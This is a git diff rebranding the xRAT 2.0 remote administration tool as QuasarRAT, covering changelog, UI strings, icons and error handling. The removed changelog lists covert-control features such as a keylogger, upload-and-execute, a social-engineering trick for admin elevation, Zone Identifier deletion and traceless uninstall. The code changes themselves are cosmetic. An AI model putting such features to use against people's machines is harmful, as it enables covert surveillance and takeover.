diff --git a/CHANGELOG.md b/CHANGELOG.md
index 11a8260c..db6f73ad 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,141 +1,4 @@
-Changelog - xRAT 2.0
-====================
+#QuasarRAT Changelog
-xRAT v2.0.0.0 RELEASE4.1 [12.07.2015]
----
-* Improved No-Ip.com Updater
-* **Fixed networking code**
-* Fixed RemoteShell error output
-* Some minor bugfixes
-
-
-xRAT v2.0.0.0 RELEASE4 [14.06.2015]
----
-* **Changed Target Framework to .NET Framework 3.5 Client Profile**
-* Added Startup Manager
-* Added Keylogger
-* Added Reverse SOCKS5/HTTPS Proxy
-* Added option to show Tooltip on Clients with Information about their System
-* Added No-Ip.org Support for dynamic IPs
-* **Improved Client & Server network code**
- * Added Buffer Manager
- * Changed compression from LZ4 to QuickLZ
- * Fixed reading of packets with length bigger than buffer size
- * Changed buffer size to 1MB
-* Improved Remote Desktop support for multiple monitors
-* Improved Remote Shell
-* Improved Settings
-* Improved Builder
-* Improved File Transfers
-* Improved Updating of Clients
-* Fixed threading issues
-* Fixed memory leak in Server
-* Many other bug fixes and small improvements
-
-
-xRAT v2.0.0.0 RELEASE3 [10.08.2014]
----
-* Optimized connection between Client & Server (!)
-* Added UPnP support
-* Added Upload & Execute
-* Updated Protocol Buffers
-* Fixed Keepalive between Client & Server (!)
-* Fixed and hardened installation on same computer with new mutex
-* Some minor fixes
-
-
-xRAT v2.0.0.0 RELEASE2 [24.07.2014]
----
-* Improved Remote Shell
-* Added changeable Assembly Information
-* Added Computer Commands (Restart, Shutdown, Standby)
-* Added dynamic sizes for system information (easily expandable)
- * Added Antivirus & Firewall detection
-* Extended File Manager (Execute, Delete, Rename)
-* Fixed disposing of modal dialog box
-* Some minor fixes
-
-
-xRAT v2.0.0.0 RELEASE1 [08.07.2014]
----
-* Added Icon Changer
-* Added Remote Shell
-* Added profiles to builder (save/load)
-* Added motion detection algorithm to Remote Desktop (40-50% faster)
-* Added monitor selection to Remote Desktop
-* Improved Admin Elevation (waits 3sec before finally shows)
-* Improved System Information
-* Improved Task Manager->Start Process
-* Improved uninstall command to leave no trace on computer
-* Improved settings XMl writer/reader if no settings file exists
-* Fixed rare bug with uninstall command
-* First Stable Release
-
-
-xRAT v2.0.0.0 BETA2 [16.05.2014]
----
-* Added Update Function
-* Added renamer (thx li0nsar3c00l)
-* Added loading information to System Information
-* Added some additional checks to validate PE-Files in Download & Execute command
-* Improved version information
-* Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
-* Fixed showing wrong country flag when country is unknown
-* Some minor design changes
-
-
-xRAT v2.0.0.0 BETA1 [14.04.2014]
----
-* Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
- * Supports 9 languages
-* Added System Information
-* Added Show Messagebox
-* Added Visit Website [Hidden/Visible]
-* Added support for Mouse to Remote Desktop
-* Added new Status for User [Active/Idle]
-* Added Statistics for Connected Clients and Traffic
-* Added Zone Identifier Deletion after downloading Files
-* Added Transferlist to File Manager
-* Moved GeoIP Location from Server to Client -> increases speed
-* Improved Startup Method
-* Improved Remote Desktop
-* Improved File Manager
-* Improved listview in Main Window
-* Fixed rare window focus bug
-* Fixed some crashes
-* Fixed some minor bugs
-* First Beta Release
-
-
-xRAT v2.0.0.0 ALPHA3 [31.03.2014]
----
-* Added Settings encryption to Client
-* Added detection of Account Type to Client
-* Extended Builder
-* Optimized File Manager
-* Changed Builder exception message
-* Small code changes for future updates
-* Fixed flickering listview in File Manager and Task Manager
-* Fixed wrong sorting in File Manager
-* Fixed Remote Desktop crash when exiting without pressing "Stop" first
-* Fixed various crashes and exceptions
-
-
-xRAT v2.0.0.0 ALPHA2 [22.03.2014]
----
-* Added Remote Desktop
-* Added Task Manager
-* Added File Manager
-* Added some icons
-* Improved Builder
-* Optimized code
-* Fixed connection count bug
-* Fixed client disconnect bug
-* Fixed uninstall not working when Client is built with hidden option
-* Fixed deleting registry key while uninstalling Client
-* Fixed various crashes and exceptions
-
-
-xRAT v2.0.0.0 ALPHA1 [16.03.2014]
----
-* First Alpha Release
+##Quasar v1.0.0.0 [TBD]
+* First Release
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 690ea374..cc52b2bf 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -8,7 +8,7 @@
##Guidelines for Pull Requests:
-1. Respect xRAT 2.0 coding style.
+1. Respect the coding style of QuasarRAT.
2. Make a single change per commit.
3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted.
diff --git a/Server/Core/Data/BuilderProfile.cs b/Server/Core/Data/BuilderProfile.cs
index 7fd6a937..48ff548c 100644
--- a/Server/Core/Data/BuilderProfile.cs
+++ b/Server/Core/Data/BuilderProfile.cs
@@ -147,7 +147,7 @@ namespace xServer.Core.Data
{
get
{
- return ReadValueSafe("RegistryName", "xRAT Client Startup");
+ return ReadValueSafe("RegistryName", "Quasar Client Startup");
}
set
{
diff --git a/Server/Core/Data/Settings.cs b/Server/Core/Data/Settings.cs
index ee0bdaf8..a3554db0 100644
--- a/Server/Core/Data/Settings.cs
+++ b/Server/Core/Data/Settings.cs
@@ -9,6 +9,8 @@ namespace xServer.Core.Data
{
private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml");
+ public static string RepositoryURL = @"https://github.com/quasar/QuasarRAT";
+
public static ushort ListenPort
{
get
diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Server/Core/ReverseProxy/ReverseProxyClient.cs
index f311625f..7a8734cc 100644
--- a/Server/Core/ReverseProxy/ReverseProxyClient.cs
+++ b/Server/Core/ReverseProxy/ReverseProxyClient.cs
@@ -288,7 +288,7 @@ namespace xServer.Core.ReverseProxy
}
///
- /// xRAT -> ProxyClient
+ /// Server -> ProxyClient
///
///
public void SendToClient(byte[] payload)
diff --git a/Server/Core/Utilities/NoIpUpdater.cs b/Server/Core/Utilities/NoIpUpdater.cs
index 87810a93..8b68f550 100644
--- a/Server/Core/Utilities/NoIpUpdater.cs
+++ b/Server/Core/Utilities/NoIpUpdater.cs
@@ -26,7 +26,7 @@ namespace xServer.Core.Utilities
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost));
request.Proxy = null;
- request.UserAgent = string.Format("xRAT No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
+ request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
request.Timeout = 10000;
request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword)))));
request.Method = "GET";
diff --git a/Server/Forms/FrmAbout.Designer.cs b/Server/Forms/FrmAbout.Designer.cs
index 8be81065..83497ef0 100644
--- a/Server/Forms/FrmAbout.Designer.cs
+++ b/Server/Forms/FrmAbout.Designer.cs
@@ -29,7 +29,7 @@
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout));
- this.picXRAT = new System.Windows.Forms.PictureBox();
+ this.picIcon = new System.Windows.Forms.PictureBox();
this.lblTitle = new System.Windows.Forms.Label();
this.lblVersion = new System.Windows.Forms.Label();
this.btnOkay = new System.Windows.Forms.Button();
@@ -38,18 +38,18 @@
this.lnkCredits = new System.Windows.Forms.LinkLabel();
this.lnkGithubPage = new System.Windows.Forms.LinkLabel();
this.lblSubTitle = new System.Windows.Forms.Label();
- ((System.ComponentModel.ISupportInitialize)(this.picXRAT)).BeginInit();
+ ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit();
this.SuspendLayout();
//
- // picXRAT
+ // picIcon
//
- this.picXRAT.Image = global::xServer.Properties.Resources.xRAT_64x64;
- this.picXRAT.Location = new System.Drawing.Point(12, 12);
- this.picXRAT.Name = "picXRAT";
- this.picXRAT.Size = new System.Drawing.Size(64, 64);
- this.picXRAT.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
- this.picXRAT.TabIndex = 0;
- this.picXRAT.TabStop = false;
+ this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server;
+ this.picIcon.Location = new System.Drawing.Point(12, 12);
+ this.picIcon.Name = "picIcon";
+ this.picIcon.Size = new System.Drawing.Size(64, 64);
+ this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
+ this.picIcon.TabIndex = 0;
+ this.picIcon.TabStop = false;
//
// lblTitle
//
@@ -149,7 +149,7 @@
this.Controls.Add(this.btnOkay);
this.Controls.Add(this.lblVersion);
this.Controls.Add(this.lblTitle);
- this.Controls.Add(this.picXRAT);
+ this.Controls.Add(this.picIcon);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
@@ -158,7 +158,7 @@
this.Name = "FrmAbout";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Quasar - About";
- ((System.ComponentModel.ISupportInitialize)(this.picXRAT)).EndInit();
+ ((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
@@ -166,7 +166,7 @@
#endregion
- private System.Windows.Forms.PictureBox picXRAT;
+ private System.Windows.Forms.PictureBox picIcon;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblVersion;
private System.Windows.Forms.Button btnOkay;
diff --git a/Server/Forms/FrmAbout.cs b/Server/Forms/FrmAbout.cs
index db26623f..88a37305 100644
--- a/Server/Forms/FrmAbout.cs
+++ b/Server/Forms/FrmAbout.cs
@@ -1,6 +1,7 @@
using System;
using System.Diagnostics;
using System.Windows.Forms;
+using xServer.Core.Data;
namespace xServer.Forms
{
@@ -13,8 +14,8 @@ namespace xServer.Forms
lblVersion.Text = "v" + Application.ProductVersion;
rtxtContent.Text = Properties.Resources.TermsOfUse;
- lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT" });
- lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT#credits" });
+ lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL });
+ lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" });
}
private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs
index bd8fb275..27a3579a 100644
--- a/Server/Forms/FrmFileManager.cs
+++ b/Server/Forms/FrmFileManager.cs
@@ -322,7 +322,7 @@ namespace xServer.Forms
if (Directory.Exists(_connectClient.Value.DownloadDirectory))
Process.Start(_connectClient.Value.DownloadDirectory);
else
- MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK,
+ MessageBox.Show("No files downloaded yet!", "File Manager", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}
@@ -474,13 +474,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void ClearFileBrowser()
@@ -495,13 +488,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void AddItemToFileBrowser(ListViewItem lvi)
@@ -516,13 +502,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void AddTransfer(int id, string status, string filename)
@@ -539,13 +518,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public int GetTransferIndex(int id)
@@ -586,13 +558,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
///
diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs
index 8d9edcac..16511202 100644
--- a/Server/Forms/FrmKeylogger.cs
+++ b/Server/Forms/FrmKeylogger.cs
@@ -81,13 +81,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void SetGetLogsEnabled(bool enabled)
@@ -102,13 +95,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
private void lstLogs_ColumnClick(object sender, ColumnClickEventArgs e)
diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs
index 1971c720..ca6aa5ae 100644
--- a/Server/Forms/FrmMain.cs
+++ b/Server/Forms/FrmMain.cs
@@ -65,8 +65,8 @@ namespace xServer.Forms
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0) ?
- string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
- string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
+ string.Format("Quasar - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
+ string.Format("Quasar - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
});
}
catch
@@ -753,7 +753,7 @@ namespace xServer.Forms
private void menuStatistics_Click(object sender, EventArgs e)
{
if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0)
- MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
+ MessageBox.Show("Please wait for at least one connected Client!", "Quasar", MessageBoxButtons.OK,
MessageBoxIcon.Information);
else
{
diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs
index d707c2db..69f7d624 100644
--- a/Server/Forms/FrmRemoteShell.cs
+++ b/Server/Forms/FrmRemoteShell.cs
@@ -107,13 +107,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void PrintError(string errorMessage)
@@ -129,13 +122,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs
index 4af92e60..2549d3a3 100644
--- a/Server/Forms/FrmReverseProxy.cs
+++ b/Server/Forms/FrmReverseProxy.cs
@@ -1,5 +1,7 @@
using System;
+using System.Net.Sockets;
using System.Windows.Forms;
+using xServer.Core.Data;
using xServer.Core.ReverseProxy;
using xServer.Core.Helper;
using xServer.Core.Networking;
@@ -30,7 +32,7 @@ namespace xServer.Forms
{
if (_clients.Length > 1)
{
- this.Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]";
+ this.Text = "Reverse Proxy [Load-Balancer is active]";
lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (_clients.Length == 1)
@@ -47,7 +49,7 @@ namespace xServer.Forms
SocksServer = new ReverseProxyServer();
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
- SocksServer.StartServer(_clients, "0.0.0.0", (int)nudServerPort.Value);
+ SocksServer.StartServer(_clients, "0.0.0.0", 4782);
btnStart.Enabled = false;
btnStop.Enabled = true;
@@ -56,12 +58,27 @@ namespace xServer.Forms
_refreshTimer.Interval = 100;
_refreshTimer.Start();
}
+ catch (SocketException ex)
+ {
+ if (ex.ErrorCode == 10048)
+ {
+ MessageBox.Show("The port is already in use.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ else
+ {
+ MessageBox.Show(
+ string.Format(
+ "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues",
+ ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ btnStop_Click(sender, null);
+ }
catch (Exception ex)
{
MessageBox.Show(
string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues",
+ ex.Message, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
btnStop_Click(sender, null);
}
}
diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs
index aa82ebc1..162d149d 100644
--- a/Server/Forms/FrmStartupManager.cs
+++ b/Server/Forms/FrmStartupManager.cs
@@ -105,13 +105,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public ListViewGroup GetGroup(int group)
diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs
index ee456461..f2c42472 100644
--- a/Server/Forms/FrmTaskManager.cs
+++ b/Server/Forms/FrmTaskManager.cs
@@ -79,13 +79,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
public void AddProcessToListview(ListViewItem lvi)
@@ -100,13 +93,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
- catch (Exception ex)
- {
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
- ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
}
private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e)
diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs
index 5af38373..bc06d669 100644
--- a/Server/Properties/Resources.Designer.cs
+++ b/Server/Properties/Resources.Designer.cs
@@ -512,9 +512,9 @@ namespace xServer.Properties {
///
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
///
- internal static System.Drawing.Bitmap xRAT_64x64 {
+ internal static System.Drawing.Bitmap Quasar_Server {
get {
- object obj = ResourceManager.GetObject("xRAT_64x64", resourceCulture);
+ object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx
index c5aa0bc9..2cb22d2c 100644
--- a/Server/Properties/Resources.resx
+++ b/Server/Properties/Resources.resx
@@ -230,8 +230,8 @@
..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
diff --git a/Server/icons/xRAT-64x64.ico b/Server/Quasar_Server.ico
similarity index 100%
rename from Server/icons/xRAT-64x64.ico
rename to Server/Quasar_Server.ico
diff --git a/Server/Server.csproj b/Server/Server.csproj
index 6060ea61..2e186c45 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -42,7 +42,7 @@
- xRAT-64x64.ico
+ Quasar_Server.ico
app.manifest
@@ -451,7 +451,7 @@
-
+
diff --git a/Server/icons/xRAT-64x64.png b/Server/icons/Quasar_Server.png
similarity index 100%
rename from Server/icons/xRAT-64x64.png
rename to Server/icons/Quasar_Server.png
diff --git a/Server/icons/xRAT-16x16.png b/Server/icons/xRAT-16x16.png
deleted file mode 100644
index 0f34738b..00000000
Binary files a/Server/icons/xRAT-16x16.png and /dev/null differ
diff --git a/Server/icons/xRAT-32x32.png b/Server/icons/xRAT-32x32.png
deleted file mode 100644
index f40ebb33..00000000
Binary files a/Server/icons/xRAT-32x32.png and /dev/null differ
diff --git a/Server/xRAT-64x64.ico b/Server/xRAT-64x64.ico
deleted file mode 100644
index 1af1d6f6..00000000
Binary files a/Server/xRAT-64x64.ico and /dev/null differ